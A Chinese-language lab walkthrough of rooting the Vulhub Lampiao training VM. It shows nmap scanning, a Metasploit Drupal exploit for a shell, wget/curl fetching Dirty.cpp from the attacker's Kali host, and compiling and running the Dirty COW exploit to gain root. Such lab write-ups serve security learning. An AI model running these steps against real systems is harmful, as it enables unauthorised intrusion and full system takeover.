Linux系统提权

主题：脏牛漏洞提权

环境准备：靶场：Vulhub Lampiao（脏牛漏洞），Ubuntu-19.04-desktop-amd64.iso（用于sudo命令提权测试）

目标：目前只拥有Linux主机的普通用户权限，如何才能够获得系统root权限

脏牛漏洞的概念：它是一种存在于linux操作系统中的本地提权漏洞，共分为1.0和2.0的版本，当Linux系统内核版本高于4.8以上时，使用脏牛2.0版本；当Linux系统内核版本低于4.8时，则使用1.0版本。

那它的原理又是怎样的？

当一个进程正在尝试修改其映射的只读内存页面时，另一个进程也在同时访问此页面。在这样的情况下内核可能会出现一种"竞争条件"，这种条件导致两个进程都能看到对方的修改，甚至可能覆盖对方的数据。这就为攻击者提供了机会，使其能够在没有权限限制的情况下，通过构造特殊的操作序列，使正在运行的程序以更高的权限执行命令，从而达到提权的效果。**

攻击步骤复现：

打开Vulhub Lampiao虚拟机，可以看到Linux标志性的黑窗口：

在不知晓登录账号密码的情况下，尝试信息收集查找突破口，回到Kali Linux中执行nmap命令对同网段进行ip和端口扫描：

nmap 192.168.78.0/24

根据自己的虚拟机网段查看主机ip： 192.168.78.1为物理机ip，192.168.78.130为kali linux虚拟机ip，可疑的只有192.168.78.142这台。接下来就可以针对这台主机进行全端口扫描：

nmap -p- 192.168.78.142

可以看到全端口扫描能够扫出普通扫描扫不出的端口，注意这边有一个1898端口是open状态。尝试打开浏览器访问192.168.78.142:1898

这边出现一个登录窗口，可以往CMS架构方向突破，那接下来该寻找哪些关键信息？滚动到页面最底处，看到Power By Drupal，可以断定该网站就是Drupal的架构。

利用msfconsole漏洞框架利用工具控制台，搜索Drupal的有关漏洞利用信息：

Name列包含auxiliary的代表是检测漏洞模块，exploit则是实际攻击模块，在此选择一个较新的攻击模块：

msf6 > use 1

show options

每次攻击前需要确认所有Required = Yes处的选项设置，这里需要设置目标靶机的ip和端口，刚才的信息收集中得到ip=192.168.78.142，port=1898。

set RHOSTS 192.168.78.142

set RPORT 1898

show options

设置完成后再次确认选项是否就绪：

run

运行后发现会话已经建立：

meterpreter > shell

Process 2364 created.

Channel 0 created.

这个时候其实已经通过msf连入了目标靶机服务器的shell了，我们可以通过python语句呼出交互式终端：

python -c 'import pty; pty.spawn("/bin/bash")'

查看Linux内核命令版本，选择对应的脏牛版本：

这里是4.4的版本，那我们使用脏牛1.0版本进行提权。

到这一步，我们的目标是把本地的Dirty.cpp文件上传到目标靶机上去。有一个问题，那就是不能直接从物理主机（windows）上传文件到目标靶机，它们之间没有任何联络，原因是我并不知道Ubuntu靶机的root账号密码，无法启动ssh随即通过XFTP共享文件。但是物理主机和Kali Linux虚拟机是我可控的，因此我先把文件上传到Kali Linux的Apache网站根目录/var/www/html/，再通过msf已建立的shell会话使用wget下载到靶机本地，相当于靶机向Kali Linux请求下载文件。

wget http://192.168.78.130:80/Dirty.cpp 或者

curl http://192.168.78.130:80/Dirty.cpp -o Dirty.cpp

此时在靶机得/tmp目录下已经成功保存Dirty.cpp文件。

由于.cpp为（C/C++)语言文件，在Linux系统中需要通过编译才能运行：

g++ -wall -pedantic -O2 -std=C++11 -pthread -o dcow Dirty.cpp -lutil

编译完成后，在同目录会生成一个dcow文件，能够直接被Linux系统执行：

执行语句进行提权：

./dcow -s

成功执行，喜提root权限。

【扩展学习】脏牛2.0版本复现步骤 www.cnblogs.com/nanhe7/arti...

【复现步骤总结】

搭建靶场，信息收集ip和port；
尝试访问，进一步获得产品关键信息Drupal；
启动msfconsole，搜索关于Drupal漏洞利用信息；
设置参数，执行获得靶机shell；
查看内核版本，挑选脏牛版本，上传文件；
编译后执行，提权成功。

如果可以尽量避免使用脏牛漏洞，原因是它可能会使计算机崩溃或使其处于不稳定状态。